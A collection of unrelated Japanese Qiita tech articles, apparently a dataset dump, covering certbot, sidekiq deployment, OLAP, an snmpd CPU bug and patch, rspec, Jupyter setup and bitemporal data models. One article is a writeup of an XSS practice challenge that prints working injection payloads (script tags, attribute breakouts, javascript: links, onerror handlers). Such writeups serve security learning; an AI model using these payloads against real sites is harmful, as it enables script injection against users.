OmniAICreator/Qiita-1.07M huggingface dataset:
certbotでpyOpenSSL ImportError

いつだかのyum updateで以下のエラーを吐いて動かなくなった。

```
Traceback (most recent call last):
  File "/bin/certbot", line 9, in <module>
    load_entry_point('certbot==0.26.1', 'console_scripts', 'certbot')()
  File "/usr/lib/python2.7/site-packages/pkg_resources.py", line 378, in load_entry_point
    return get_distribution(dist).load_entry_point(group, name)
  File "/usr/lib/python2.7/site-packages/pkg_resources.py", line 2566, in load_entry_point
    return ep.load()
  File "/usr/lib/python2.7/site-packages/pkg_resources.py", line 2260, in load
    entry = __import__(self.module_name, globals(),globals(), ['__name__'])
  File "/usr/lib/python2.7/site-packages/certbot/main.py", line 21, in <module>
    from certbot import client
  File "/usr/lib/python2.7/site-packages/certbot/client.py", line 16, in <module>
    from acme import client as acme_client
  File "/usr/lib/python2.7/site-packages/acme/client.py", line 36, in <module>
    requests.packages.urllib3.contrib.pyopenssl.inject_into_urllib3()  # type: ignore
  File "/usr/lib/python2.7/site-packages/urllib3/contrib/pyopenssl.py", line 112, in inject_into_urllib3
    _validate_dependencies_met()
  File "/usr/lib/python2.7/site-packages/urllib3/contrib/pyopenssl.py", line 147, in _validate_dependencies_met
    raise ImportError("'pyOpenSSL' module missing required functionality. "
ImportError: 'pyOpenSSL' module missing required functionality. Try upgrading to v0.14 or newer.
```

最終行でググるとpipで入れてるパッケージとyumでいれてるパッケージで
バージョンに差異があるためっぽい。
pipで入ってるパッケージをアップグレードする。

```
↓↓↓↓↓↓↓ あなたの記事の内容
$ pip uninstall requests
$ yum reinstall python-requests-toolbelt
$ pip uninstall six
$ yum reinstall python-six
$ pip uninstall urllib3
$ yum reinstall python-urllib3
───────
$ pip install --upgrade pip
$ pip install requests --ignore-installed
$ pip install --upgrade --force-reinstall 'requests==2.6.0'
↑↑↑↑↑↑↑ 編集リクエストの内容
```

参考URL
https://github.com/certbot/certbot/issues/5534#issuecomment-364549029
Capistrano-sidekiqのすすめ

## Introduction
かなり前だが、弊アプリケーションにsidekiqを導入して、[gem capistrano-sidekiq](https://github.com/seuros/capistrano-sidekiq)でデプロイ時にプロセスの起動・再起動をしていたが、ある環境だけsidekiqのプロセスを立ち上げたくない場合があったので、備忘録として書き留めておきたいと思います。

## Dependencies

```ruby:Gemfile.lock
sidekiq (5.0.4)
sidekiq-pro (3.7.1)
capistrano (3.6.1)
capistrano-sidekiq (0.10.0)
```

## How to use

```ruby:Capfile
require "capistrano/sidekiq"
```
基本的にCapfileにrequireしてあげるだけで、[`sidekiq:add_default_hooks`タスク](https://github.com/seuros/capistrano-sidekiq/blob/master/lib/capistrano/tasks/sidekiq.rake#L33)が走ります。

```ruby
task :add_default_hooks do
  after 'deploy:starting',  'sidekiq:quiet'
  after 'deploy:updated',   'sidekiq:stop'
  after 'deploy:published', 'sidekiq:start'
  after 'deploy:failed', 'sidekiq:restart'
end
```

これは、
[capistrano-sidekiq/sidekiq.rake at master · seuros/capistrano-sidekiq · GitHub](https://github.com/seuros/capistrano-sidekiq/blob/master/lib/capistrano/tasks/sidekiq.rake#L3)

```ruby:capistrano-sidekiq/lib/capistrano/tasks/sidekiq.rake
set :sidekiq_default_hooks, true
```

がデフォルトでtrueになっているためです。

なので、特定の環境で`sidekiq:add_default_hooks`タスクを実行しないようにするには、

```ruby:config/deploy/**.rb
set :sidekiq_default_hooks, false
```

もしくは、プロセスがある場合は落とす処理を書いてあげる場合は、

```ruby:config/deploy.rb
if fetch(:stage) == :hoge
  set :sidekiq_default_hooks, false
  after 'deploy:starting', 'sidekiq:quiet'
  after 'deploy:updated', 'sidekiq:stop'
end
```
で、環境ごとの制御ができると思います。

## others
```shell
$ bundle exec cap -T sidekiq
cap sidekiq:quiet            # Quiet sidekiq (stop processing new tasks)
cap sidekiq:respawn          # Respawn missing sidekiq processes
cap sidekiq:restart          # Restart sidekiq
cap sidekiq:rolling_restart  # Rolling-restart sidekiq
cap sidekiq:start            # Start sidekiq
cap sidekiq:stop             # Stop sidekiq
```
については、

[capistrano-sidekiq/lib/capistrano/tasks/sidekiq.rake](https://github.com/seuros/capistrano-sidekiq/blob/master/lib/capistrano/tasks/sidekiq.rake)
の各タスクのコードを見た方がわかりやすいので説明は省略します。

## Reference
[gem capistrano-sidekiq](https://github.com/seuros/capistrano-sidekiq)
[gem capistrano-sidekiq wiki](https://github.com/seuros/capistrano-sidekiq/wiki)
OLAPの3つのアーキテクチャー



## OLAP(On Line Analytical Processing) Architecture
>OLAPとは、データベースからデータを取り出し、多次元的な分析を行う処理のことである。
Panorama Softwareが開発し、1996年にMicrosoft社に売却したデータディスカバリ技術。高度な分析を行う、「what if」シナリオを計画する、帳票を無制限に表示する機能など多くの機能がある。
BIにおける代表的な分析手法である。
リレーショナル・データベースを利用したROLAPと、多次元データベース（キューブ）を利用したMOLAPに大別される。
両者の中間的立場であるHOLAPもある。
キューブ（ROLAPで生成される、擬似的な多次元データベースも含む）に対して、ドリリング、スライシング、ダイシングといった方法で操作し、分析を行う。
代表的なOLAPサーバとして、SSASが知られる（なお、SSASは、ROLAP・MOLAP・HOLAPの中から任意の動作モードを選択する事が出来る）。 BIシステムは、専ら、こうしたOLAPサーバに、BIツール（Panorama NovaViewなど）を組み合わせ、ユーザーのニーズに合わせたインターフェースや機能を追加する形で構築される。

### ROLAP
* Relational OLAP
* Based on Relational Operations 

### MOLAP
* Multi‐dimensional OLAP
* Based on Multi‐dimensional Data

>MOLAPとは、OLAPによるデータの分析の方法である。
データベースに格納されたデータから、あらかじめ集計値をバッチ処理で計算し、多次元データベース（キューブ）として格納しておく。
ユーザーの操作要求に応じて、その多次元データベースから集計済データを取りだし、参照・利用する。
ROLAPと異なり、集計値を多次元データベースとして格納するためのバッチ処理が必要である。
ROLAPと比べての利点としては、ユーザー操作に対するレスポンスが圧倒的に早い事や、複雑な多次元モデルに対応しやすい事が挙げられる。
ROLAPと比べての欠点としては、多次元データベースという、従来からのリレーショナルデータベースとは異なる知識が必要となることや、多次元データベースのメーカー間の互換性が無い事が挙げられる。
また、データベース内のデータを、直接検索・集計するわけではないので、データのリアルタイム性では劣る。その他、分析内容によっては、多次元データベースに大量の集計値データが作られることにも留意する必要がある。

BIシステムは、専ら、こうしたOLAPサーバに、BIツール（Panorama NovaViewなど）を組み合わせ、ユーザーのニーズに合わせたインターフェースや機能を追加する形で構築される。

### Hybrid OLAP
* Combine ROLAP + MOLAP

### 参考

* [多次元分析の概要とデータ分析のポイント (2/3)：SQL Server 2005で学ぶデータ分析（2） - ＠IT](http://www.atmarkit.co.jp/ait/articles/0701/13/news024_2.html)
本当に恐ろしいsnmpd


昨今の Linux での仮想マシン、コンテナの使われ方をみるに、一つのマシンの中で netdev がたくさん存在するケースは普通になってきたと思う。そんな状況で見かけた恐ろしい現象。

snmpd を起動させるだけで CPU 100% で回り始める。

再現方法は後述するけれども、調べてみると、同様の現象に見舞われている人たちがみつかる。中でも詳しいのはこの[記事](https://fatmin.com/2012/04/04/very-high-snmpd-cpu-usage-and-1000s-of-ip-addresses/) で、巨大な BGP routing table を持つシステムの例と、数千の VLAN を持つ例も同様なんだそうな。原因は定期的なキャッシュ更新で、ipaddress, netdev の数に対して、爆発的に増大するアルゴリズムが使われているため。私も調べてみた限りでは、手っ取り早く設定ファイルで抑制する方法は存在しない。

- 単純に時代の変化で、net-snmp snmpd が作られたころと今とで想定数が異なるんだろうな、というのは理解できなくもない。
- 一部は net-snmp のコードによるもので、sorted array に多数の要素が格納されることによって引き起こされているところもある。パッチを書いてみた（後述）。
- 少し前（といっても Ubuntu 16 でも）の Linux kernel 内部の `dev_get_by_name` が線形サーチなので、組み合わせると O(n^2) になっている。

いくつか試験をしてみると、効果絶大なのは例えば Ubuntu bionic（現行 LTS）のように新しい Linux kernel に乗り換えること。パッチは kernel を乗り換えてしまえば効果は限定的になる（kernelの遅い部分の呼び出し回数を減らすものなので）。

それはそれとして、netdev 一つ一つにつき都度 kernel に問い合わせるのは、いくら何でも効率が悪い。統計情報のテーブルごと取得してから、並び替えるという手順にしないと厳しい。`snmpd` の構造を変えたい気持ちになってくる。

実はあえて触れないでいた、最も効果的な対策は snmpd 以外の監視方法に切り替えること。

*1) 一定時間ごとにキャッシュを収集するルーチン `_cache_load` が呼び出されて、ネットワーク情報もキャッシュされる。時間間隔は C の定数で宣言されている。この機能をオフにする設定は存在しない。`_cache_load` を呼び出すコードは `mib2c` で MIB から自動生成されたコードになる。


## IP アドレスがたくさんある場合

veth0 に適当に IPv4 private address をたくさんつける。下の例では 10000 個つけている。

```bash
sudo ip link add veth0 type veth peer name veth1
for i in {1..50}; do for j in {1..200}; do sudo ip addr add 192.168.$i.$j dev veth0; done; done
```

すると、みるみる snmpd の負荷があがる。

```
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
10385 snmp      20   0   77644  25204   4060 R 100.0  0.4   7:26.73 snmpd
```

元に戻すのは簡単で、veth0 を消してしまえば一気に全部解除できる。

```bash
sudo ip link del veth0
```

## netdev がたくさんある場合

増やす手順

```bash
for i in {1..500}; do sudo ip link add veth${i}a type veth peer name veth${i}b; done
```

元に戻す手順

```bash
for i in {1..500}; do sudo ip link del veth${i}a; done
```


## net-snmp patch

いくらなんでも、要素取得のたびにソートするのはやりすぎ。実際に入れ替えしてなくても検査が走り、kernelへの問い合わせが起こっている。

```diff

diff --git a/snmplib/container_binary_array.c b/snmplib/container_binary_array.c
index 46b954b77..c9ea86e5a 100644
--- a/snmplib/container_binary_array.c
+++ b/snmplib/container_binary_array.c
@@ -258,12 +258,6 @@ netsnmp_binary_array_get(netsnmp_container *c, const void *key, int exact)
     if (!t->count)
         return NULL;

-    /*
-     * if the table is dirty, sort it.
-     */
-    if (t->dirty)
-        Sort_Array(c);
-
     /*
      * if there is a key, search. Otherwise default is 0;
      */
@@ -625,6 +619,13 @@ _ba_find(netsnmp_container *container, const void *data)
 static void *
 _ba_find_next(netsnmp_container *container, const void *data)
 {
+    /*
+     * if the table is dirty, sort it.
+     */
+    binary_array_table *t = (binary_array_table*)container->container_data;
+    if (t->dirty)
+        Sort_Array(container);
+
     return netsnmp_binary_array_get(container, data, 0);
 }
```
Watson Discovery News 日本語サンプルアプリ

# はじめに
2018年7月31日にWatson Discovery Newsの日本語版がリリースされました。
この機会に、今まで紹介してきたサンプルアプリを日本語化しましたので、まとめてご紹介します。
どちらのアプリもIBM Cloud上にライトアカウントを登録し、ソースをダウンロードしてcfコマンドを実行するだけで動かすことができますので、是非お試し下さい。

# News記事から人間関係を抽出
最初の人物を起点にニュース記事から関係ある人物間のグラフ表示を行います。

![relation-demo.png](https://qiita-image-store.s3.amazonaws.com/0/206130/60cfca27-411c-e887-708e-0c4363451b59.png)

ソースコードと導入手順は[Github](https://github.com/makaishi2/discovery-news-relation)にあります。

# News記事から、特定の企業情報を抽出
入力欄に企業名を入れて、検索アイコンをクリックすると、News記事のなかから「関連重要ニュース」「関連エンティティ」の情報を抽出し、常時します。

![news-demo-jp.png](https://qiita-image-store.s3.amazonaws.com/0/206130/32220b96-7685-f68b-a9c4-dfe2b1926989.png)

ソースコードと導入手順は[ Github](https://github.com/makaishi2/discovery-news-demo-jp)にあります。
Python 超初心者からの学習法メモ

Pythonを勉強したい！と思ったけど、
どこからやっていいのかわからなかったので、
色々とサイトを調べて、実際にやってみた。
2018/07~

# やったこと
参考にさせて頂いたサイトがこちら
http://shinyorke.hatenablog.com/entry/python2018
「Python 極める」という安易なワードで検索して1番最初にHitしたサイトでした。

初心者～上級者までのPythonの学び方が体系的に書いてあり、
非常に参考になりました。

素直にここに書いてある通りやってみました。

## PyQ で学習
PyQ
https://pyq.jp/
ここでひたすら写経が良いそうです。
1つのクエストが短いので、割とサクサクできました。
これを1か月くらいで、機械学習以外は一通り全部やりました。

今まで多少プログラミングをやったことはあったのですが、
かなりのブランクがあったため、思い出しながらという感じでした。
プログラミング初めての方は、もう少し時間かかるかもしれません。

PyQをやったことで、基礎的な部分はわかりました。
が、正直なところ理解しきれていないことが多々残ったまま。
一通りやったものの、Pythonの手応えはほとんどなしのままでした。。
(勉強方法が悪いのですが。）

## みんなのPythonを読む
メルカリで1000円くらいで売っていたので即買い。
難しいところは飛ばしましたが、基礎的なところはスラスラ読めました。
PyQやってた効果があった！と思いました。

##Python 勉強会への参加
connpassでPython勉強会(もくもく会)を探して申し込み。
・・・が、予定が入り参加できず

##Django チュートリアル
https://docs.djangoproject.com/ja/2.1/intro/tutorial01/
チュートリアル通りにやって、
なんとなく理解できた気が。

##簡単なアプリを作る
Django
mysql
Pycharm
ここら辺をつかって、簡単なアプリを作ってみた。
rspec の導入メモ（途中）

#rspecとは何か？
https://magazine.rubyist.net/articles/0021/0021-Rspec.html
まずは、上のリンク先を読むことで理解の助けになると思われます。
また、以下のリンク先を読むと、
https://qiita.com/shinji1105/items/eb41972b97c91104d7ad
Rspecとは、Ruby on Railsのテストライブラリであり、BDD(テスト駆動開発)のtoolであるということがわかります。ただし、rspecの習得には時間がかかりそうです。


#rspecの導入方法
自分の環境でrspecの導入についてまとめた。
以下のページを参照した。
https://qiita.com/luckypool/items/e3662170033347510c3c
https://qiita.com/shizuma/items/8221544601aa3d0770d2


備忘のため、具体的なメモ
vim Gemfile
で、開いたファイルに以下の一行を記述する。
gem 'rspec-rails'
bundle install

rspecの初期化

```
$ rspec --init
```
と入力すると、
-bash: spec: コマンドが見つかりません
rbenvを使っている場合、上記のようなエラーが発生する。
rbenvで環境構築した場合、rbenv rehashをする必要があるらしい。
参考）http://ylgbk.hatenablog.com/entry/2014/03/16/112310

```
$ rbenv rehash

$ rspec -v
RSpec 3.8
  - rspec-core 3.8.0
  - rspec-expectations 3.8.1
  - rspec-mocks 3.8.0
  - rspec-rails 3.8.0
  - rspec-support 3.8.0
```

```
$ rspec --init
  create   spec/spec_helper.rb
  create   .rspec
```
作業ディレクトリにspecというディレクトリが出来ているので、vim spec/spec_helper.rb などとして、ファイルを確認しておく。
spec/spec_helper.rbとは、テスト時に自動で読み込まれるファイルであり、各テストにおいて共通の処理があればこのファイルに記述するとのこと。
参考）https://www.qoosky.io/techs/f20cbb9b26
#####rails_helperとspec_helperの違い
参考）https://blog.willnet.in/entry/2014/06/10/142341
「spec/rails_helper.rb に Rails 特有の設定を書き、spec/spec_helper.rbには RSpec の全体的な設定を書く」とこのこと

#ドットインストールに解説動画がある
https://dotinstall.com/lessons/basic_rspec
月額980円ですが、解説本が3000円くらいなことを考えると、ドットインストールの方が安上がりですね。4回目くらいまでは無料登録すればみれました。

##rspecを解説しているサイトまとめ
下のページを一読して、自分の参考になりそうな部分を探す。
http://www.betterspecs.org/jp/
https://qiita.com/jnchito/items/42193d066bd61c740612
https://qiita.com/geshi/items/a930461f36bae880657d
http://kei-p3.hatenablog.com/entry/2016/05/25/235124
https://www.oiax.jp/rails/rspec_capybara_primer/model_test.html


##ここまでリンク先を見ても、結局、自分のプログラムに適用できなさそう
もっとWebサイトのプログラムに近いサンプルが必要だと思います。
上のリンクのサンプルは、railsのサイトの一般的な内容と離れすぎている気がするのです。
うーん。で、見つけました。
https://railstutorial.jp/chapters/static-pages?version=4.0
このサイトをrspecで検索すると、自分の期待しているサンプルに近い形のサンプルが書いてあるので、これを参考にrspecのプログラムを書いて行ってみます。

###capybaraは必要なのか
聞いたら、capybaraは必要ないとのこと。
以下、自分の試行錯誤の記録です。
rspecの中で、visitを使うためには、capybaraというgemをインストールしないと行けないみたいなので、以下のリンクの通りやったら、
https://qiita.com/msky026/items/494de080cc92a061fafe
visitはundefined methodのエラーを出さなくなったが、root_pathやらcontact_pathが自分のconfig/routes.rbで指定している書き方が違うのか、
undefined local variable or method `root_path'
というエラーが表示されてしまう。

なんか面倒。編集中。

#githubに公開されているrspecのコードを検索して勉強する
この方法が勉強になると言われました。英語のページばかりです。

##その他の単体テストのツール
Minitest
https://qiita.com/5t111111/items/5bb86896f85ac9cfc43f
Unit
その位置までのスクロール量

例えば、
**下部にボタンを固定して、ある位置に来たら固定を解除する**
とか
**あるエレメントが見えたらナニカを発火する**
とか
の時に使う、「その位置までのスクロール量」の取得仕方を自分的備忘録もかねて書いておく。

```
Math.floor((Element.getBoundingClientRect().top + window.pageYOffset) - window.innerHeight);
```

画面上からそのエレメントまでの距離 + スクロール量 - 画面の高さ
*Math.floorを使うのは場合によっては小数点以下が出てしまうため。*

細かい処理とかは必要だけど、単純に取得するならこれで。
xsssample writeup

# xsssample writeup

http://bogus.jp/xsssample/
の wirteup です。
XSSを利用し、js の alert() を呼び出してブラウザにアラートを表示させられればok。

## XSS sample Level 1

投稿した内容がエスケープされずに直接表示されている模様。
以下を投稿すればok。

```
<script>alert('XSS!')</script>
```

## XSS sample Level 2

投稿した値が、input タグの value 属性の値としてエスケープされずに埋め込まれている模様。
そこで、username に以下を投稿する。

```
"><script>alert('XSS!')</script><img src="http://hoge
```

こうすることで、投稿後の input タグは以下のようになって、XSSに成功する。

```
<input name="user" maxlength="10" type="text" value=""><script>alert('XSS!');</script><img src="http://hoge">
```

## XSS sample Level 3

Level 2 との違いは、input に文字制限が設定されていること。
form タグの内容を見ると、投稿された内容は GET リクエストで自身のurlに帰ってくることがわかる。
そこで、文字数制限を回避するために、formから文字列を投稿するのではなく直接GETのurlを叩く。

```
http://bogus.jp/xsssample/xsssample_03_J4Skr.php?user="><script>alert('XSS!');</script>
```

## XSS sample Level 4

この問題では input タグの value に scipt タグを書き込もうとしても、以下のようにちゃんとエスケープされてしまう。

```
<input name="user" type="text" value="" &gt;&lt;script&gt;alert('xss!')&lt;="" script&gt;"="">
```

ということでこの問題では、 script タグではなく onmouseover 属性にスクリプトを仕込む。
以下の内容を username に投稿する。

```
" onmouseover="alert('XSS!');
```

すると、投稿後の input タグは以下のようになり、XSSが成功する。

```
<input name="user" maxlength="10" type="text" value="" onmouseover="alert('XSS!');">
```

ちなみに、 Chrome だと XSS が検知されてページがブロックされてしまう。
FireFox で試したら無事表示できた。

## XSS sample Level 5

文字数制限のあるフォームが与えられる。
投稿した文字列は POST で送信され、エスケープされずにそのまま表示される。
したがって、 POSTでスクリプトタグを含む文字列を送信すればいいが、文字数制限があるのでこのままではフォームからは投稿できない。

今回は、 Chrome の Elements タブで input タグを編集して文字数制限を外した上で、スクリプトタグの文字列を投稿した。

```
<script>alert('XSS!');</script>
```

## XSS sample Level 6

参考: [HTML a href Attribute](https://www.w3schools.com/tags/att_a_href.asp)

フォームに投稿した文字列が a タグの href の内容となる問題。ただし、ダブルクオートはちゃんとエスケープされてしまうので、 `"><script>...` などを投稿してもムリ。

href の値には、 url 以外にも `mailto:...` `ftp:...` `file:...` `javascript:...` などを設定することができる。 `javascript:...` とすると、クリック時にスクリプトを実行させることができる。

したがって今回は、以下の内容を登録すればいい。

```
javascript:alert('XSS!');
```

## XSS sample Level 7

どうやら、 script タグを含む文字列を投稿されると script タグを取り除くような処理が行われている模様。しかし、 script タグ以外を投稿するとエスケープされずに表示されるので、 script タグを使わずに XSS する。これにはいろいろな方法がある。以下は img タグの onerror 属性を使う場合の例。

```
<img src="" onerror="alert('XSS!');">
```

## XSS sample Level 8

フォームを通して script タグ内に書き込むことができる。

```html
<script>
function hello(){
document.write ('<ここにフォームで投稿した内容が来る>'+"さん");
}
</script>
```

特にエスケープ処理はされていないようなので、以下の内容を投稿すればok。

```
' + alert('XSS!'));//
```

## 参考リンク

- [XSSパターン](http://nootropic.me/site/web/xss.html)
- [XSS Challenges – blog](https://blogs.tunelko.com/2013/12/02/xss-challenges/)
必要最小限でRaspberry PiにJupyter (Python3)をInstallする方法（2018-08-10）

# はじめに
Raspberry PiにTensorFlowを入れてみたけど、公式のチュートリアルはJupyter前提だったので、Jupyterも入れることにした。
どうも、Jupyterをインストールする方法がいろいろあって、どれが最新なのかわからなかったので、できるだけ最小限で自分なりにインストールしてみた。たぶん今現在（2018-08-10）一番シンプルな方法。

# Install

```
sudo apt-get update
sudo apt-get install python3 python3-dev build-essential python-pip
sudo pip3 install --upgrade pip
sudo pip3 install jupyter
```

入ってたら、無視してくれるからとりあえず、全部打ってみたけど、
pip使ってる人は
`sudo pip3 install jupyter`
だけでいいのかも。


# 設定

作業ディレクトリと設定ファイルを作る。
コマンド打ったら、`.jupyter/jupyter_notebook_config.py`作ってくれる。

```
mkdir ~/notebooks
jupyter-notebook --generate-config
```

設定ファイルは最低限こんな感じ。
はじめ、ipのところを設定しなかったら、同じローカルネットワークの他のPCから接続できなかった。

```python:.jupyter/jupyter_notebook_config.py
c.NotebookApp.ip = '0.0.0.0'
c.NotebookApp.notebook_dir = '/home/pi/notebooks'
c.NotebookApp.port = 8888
```

次に、パスワードの設定。入力すれば勝手にうまいことやってくれる。

```
pi@raspberrypi:~ $ jupyter notebook password
Enter password: 
Verify password: 
[NotebookPasswordApp] Wrote hashed password to /home/pi/.jupyter/jupyter_notebook_config.json
```


# 動作確認

ログインできた。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/184221/58ef022d-a05f-9e37-cfae-74b05d8bf903.png)

# おわりに
調べると、なんか複雑な方法ばっかり出て来るので、自分なりに解釈してやってみた。
やってみたら、すごく簡単やった。Jupyterの仕様がどんどん変わってるんから、最新の方法がわからんかったんかな？動かしてくうちに、もっと複雑な設定せなあかんくなるんかな。とりあえず、入ったからよかった。

# 参考
[HeadlessなRaspberry Pi 3でJupyter notebookを自動起動させてOpenCVを使うまで - Qiita](https://qiita.com/nbhr/items/68fd9c3f6a31a797a7a8)
[いるかのボックス: Raspberry PiをJupyter Notebookサーバにする](http://irukanobox.blogspot.com/2018/02/raspberry-pijupyter-notebook.html)
[kleinee/jns: jupyter notebook and lab on Raspberry Pi](https://github.com/kleinee/jns)
[Jupyter Notebookをインストール・設定して勉強ノート作成環境をつくる [Mac] - Qiita](https://qiita.com/sasaki77/items/bfa53828c973ba46e34d)
[jupyter notebook で外部からの接続を許可する - Qiita](https://qiita.com/ciela/items/0e0392f600c92b93d7c6)
履歴をもったデータモデルの考え方


## たまにデータに時系列の履歴を持って問い合わせの時に合わせてデータが変わってほしい時がある。

- 有効期限を持ったデータモデルが欲しい
- 変更履歴も欲しい


### 登録日と更新日を持たせたモデル

|id |名前 |登録日 |更新日 |
|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |2018-08-10T00:00:00 |

- 名前を鈴木に変更

|id |名前 |登録日 |更新日 |
|---|---|---|---|
|00001 |<font color=red>鈴木</font> |2018-08-10T00:00:00 |<font color=red>2018-08-10T09:31:00</font> |

#### いつ変更されたかはわかるが有効期限を持てない

- 削除は物理削除 or isDeletedを持たせて論理削除するしかない

### 有効期限を持たせたモデル

|id |名前 |START |END |
|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |9999-12-31T23:59:59 |

- 09:31で名前が変わるようにする

|id |名前 |START |END |
|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |<font color=red>2018-08-10T09:31:00</font> |
|00002 |鈴木 |<font color=red>2018-08-10T09:31:00 |9999-12-31T23:59:59 |

- 実は09:31で変わる名前は西寺が正しかった

|id |名前 |START |END |
|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |<font color=red>2018-08-10T09:31:00</font> |
|00002 |<font color=red>西寺</font> |2018-08-10T09:31:00 |9999-12-31T23:59:59 |

- Where start < 任意の日付 <= ENDで検索すれば有効期限のデータがとれる
- 削除はENDに削除日付を入れればいい

#### しかしこれでもいつデータが変更されたのかはわからない

### BiTemporalデータモデル

- 前日に(8/9)8/10から有効なデータを登録する

|id |名前 |validStart |validEnd |systemStart|systemEnd|
|---|---|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |9999-12-31T23:59:59|2018-08-09T00:36:40 |9999-12-31T23:59:59|

- 08/10 11:45:14に鈴木に変更する。なお同日09:31から有効にする
- 最初のレコードを無効にし、新しく2つのレコードを登録する

|id |名前 |validStart |validEnd |systemStart|systemEnd|
|---|---|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |9999-12-31T23:59:59|2018-08-09T00:36:40 |<font color=red>2018-08-10T11:51:40</font>|
|00002 |田所 |2018-08-10T00:00:00 |<font color=red>2018-08-10T09:31:00</font> |2018-08-10T11:45:14 |9999-12-31T23:59:59|
|00003 |鈴木|<font color=red>2018-08-10T09:31:00</font>  |9999-12-31T23:59:59 |2018-08-10T11:45:14 |9999-12-31T23:59:59|

- 実は09:31で変わる名前は西寺が正しかったので同日19:19に修正した
- id=00003のデータを無効化し、正しい名前のデータ登録する

|id |名前 |validStart |validEnd |systemStart|systemEnd|
|---|---|---|---|---|---|
|00001 |田所 |2018-08-10T00:00:00 |9999-12-31T23:59:59|2018-08-09T00:36:40 |2018-08-10T11:45:14|
|00002 |田所 |2018-08-10T00:00:00 |2018-08-10T09:31:00|2018-08-10T11:45:14 |9999-12-31T23:59:59|
|00003 |鈴木|2018-08-10T09:31:00  |9999-12-31T23:59:59 |2018-08-10T11:45:14 |<font color=red>2018-08-10T19:19:00</font>|
|00004 |西寺|2018-08-10T09:31:00 |9999-12-31T23:59:59 |<font color=red>2018-08-10T19:19:00</font> |9999-12-31T23:59:59|

- validStart < 任意の日付 <= validEnd & systemStart < 現在日付 <= systemEndで検索すれば有効なデータがとれる
- valid～は有効にしたい期間、system～データとして有効だった期間となる(検索に引っかかる可能性のある期間)

#### これで変更履歴も事実としての履歴ももったテーブルができる

- このデータモデルを標準でサポートしているDBはDB2とMarkLogicしか私は知らない。
- 名前やら時間がくさいのはたぶん私が今疲れているから
SlackのIncoming WebhookURLの確認

1. [ここにアクセス](https://slack.com/services/new/incoming-webhook)
2. 上の「Incoming Webhook」をクリック
![image.png](https://qiita-image-store.s3.amazonaws.com/0/47327/3f456cc7-88fa-790a-89bb-eafe5f83c728.png)
3. 選ぶ
![image.png](https://qiita-image-store.s3.amazonaws.com/0/47327/10f1136f-7c08-8618-feb0-ec39d8c15c67.png)

以上


サンプル

```bash
curl -X POST --data-urlencode "payload={\"channel\": \"#general\", \"username\": \"webhookbot\", \"text\": \"This is posted to #general and comes from a bot named webhookbot.\", \"icon_emoji\": \":ghost:\"}" https://hooks.slack.com/services/xxxxxxxxxxxxx
```
Python: 処理状況をコンソールに出力しよう

## 概要
Webサービスなんかで、大量のユーザに対してアイテムの補填をしたりすることがありあます。そのような処理に時間のかかるスクリプトが走っている間、もし何もコンソールに出力されていなかったらうまく処理が行われているのか不安になります。

エンジニアが書いたスクリプトをディレクターが使用する場合など、実装者と使用者が異なる場合、使用者はさらに不安になりそうです。

スクリプトを走らせている人が、ちゃんとに処理が行われているのか、どこまで処理が進んでいるのかを常に確認できるようにするべきです。


## 楽しくないコンソール出力講座
10000人のユーザに何かをするスクリプトがあるとします。特に処理の部分は書かないので、実際はユーザのデータを取得してアイテムなどを配布しているのだと想像してください。

```process.py

# coding=utf-8

user_num = 10000
print "処理を開始します"
for x in range(1, user_num+1):
    print u"{}/{}人目の処理を行っています".format(x, user_num)
print "{}人へのアイテム配布を終了しました".format(user_num)

```

はい。大変なことになります。コンソールに10000行出力されます。繰り返し1回あたりの処理に時間がかかるなら認識できるかもしれませんが、これだと今何人目なのかわかりませんね。


## 楽しいコンソール出力講座
そこで`sysモジュール`を使用してみましょう。

```process.py

# coding=utf-8

import sys

user_num = 10000
print "処理を開始します"
for x in range(1, user_num+1):
    sys.stdout.write("\r{}/{}人目の処理を行っています".format(x, user_num))
print "\n{}人へのアイテム配布を終了しました".format(user_num)

```

これだと1行に表示されていきます。かなり見やすくなりました。まぁ今回の処理は速すぎて一瞬ですが...

`timeモジュール`を`import`してfor文に`time.sleep(0.001)`とか入れたらわかると思います。

## 応用コンソール出力
x人中y人目という表示以外にも方法はあります。例えば2018年1月1日から31日までに登録したユーザにアイテムを配布したい、なんてこともあります。
このような場合は、「1月1日に登録したユーザの処理を行っています」という表示にすると、具体的な人数を見られなくなりますが、かなり見やすい表示になります。
ユーザが登録した日時が`datetimeモジュール`などで保存されていれば同じような感じで表示できます。

```process.py

# coding=utf-8

import sys
import datetime

date = datetime.datetime.now()
sys.stdout.write("\r{}年{}月{}日の処理を行っています".format(date.year, date.month, date.day))

```

このようなものを繰り返しの中に組み込めばできるのですが、問題が1つあります。
`sys.stdout.write()`で出力すると元の文字の上に上書きするので、1つ前よりも短い文字列を出力すると、最後の方の文字がコンソール上に残ってしまうのです。

その場合は、全日数に対して何日目を処理しているのかを出力するなど、色々考えて工夫してみましょう。


## 結論
何はともあれ、大事なことは使い人にとってスクリプトの処理の進捗がわかりやすく伝わることなので、そこを第一に考えてどのような出力をするのかを考えて実装すれば良いと思います。

では、素晴らしい出力ライフを！
JSでURLを編集

例えばurlが`https://example.com?sort=desc`のような感じだった時。
`?sort=desc`の部分を削除したかったら以下のようにする。


```javascript
$(document).ready(function () {
    // 強制するクエリ
    let replaceQueryString = '/';
    // URLに新しいクエリを付与
    history.pushState(null,null,replaceQueryString);
});
```

(参考)
[ブラウザの履歴を操作する](https://developer.mozilla.org/ja/docs/Web/Guide/DOM/Manipulating_the_browser_history#pushState()_%E3%83%A1%E3%82%BD%E3%83%83%E3%83%89)
JSTQB AL テストマネージャ 第3章 180分

## レビュー

プロジェクト内の主なレビュー

![image.png](https://qiita-image-store.s3.amazonaws.com/0/10966/e873bcbe-9b6a-1716-dc0d-9585c03fbc30.png)

```:レビューリーダとは
レビューに責任を持つ人
```

- レビュータイプ FLでの規定
 - 非公式レビュー
 - ウォークスルー
 - テクニカルレビュー
 - インスペクション

![image.png](https://qiita-image-store.s3.amazonaws.com/0/10966/441a664c-f596-f71a-2050-78733b4fe045.png)


加えて、、、、

- マネジメントレビュー
- 監査


## 3.2 マネジメントレビューと監査

- マネジメントレビュー
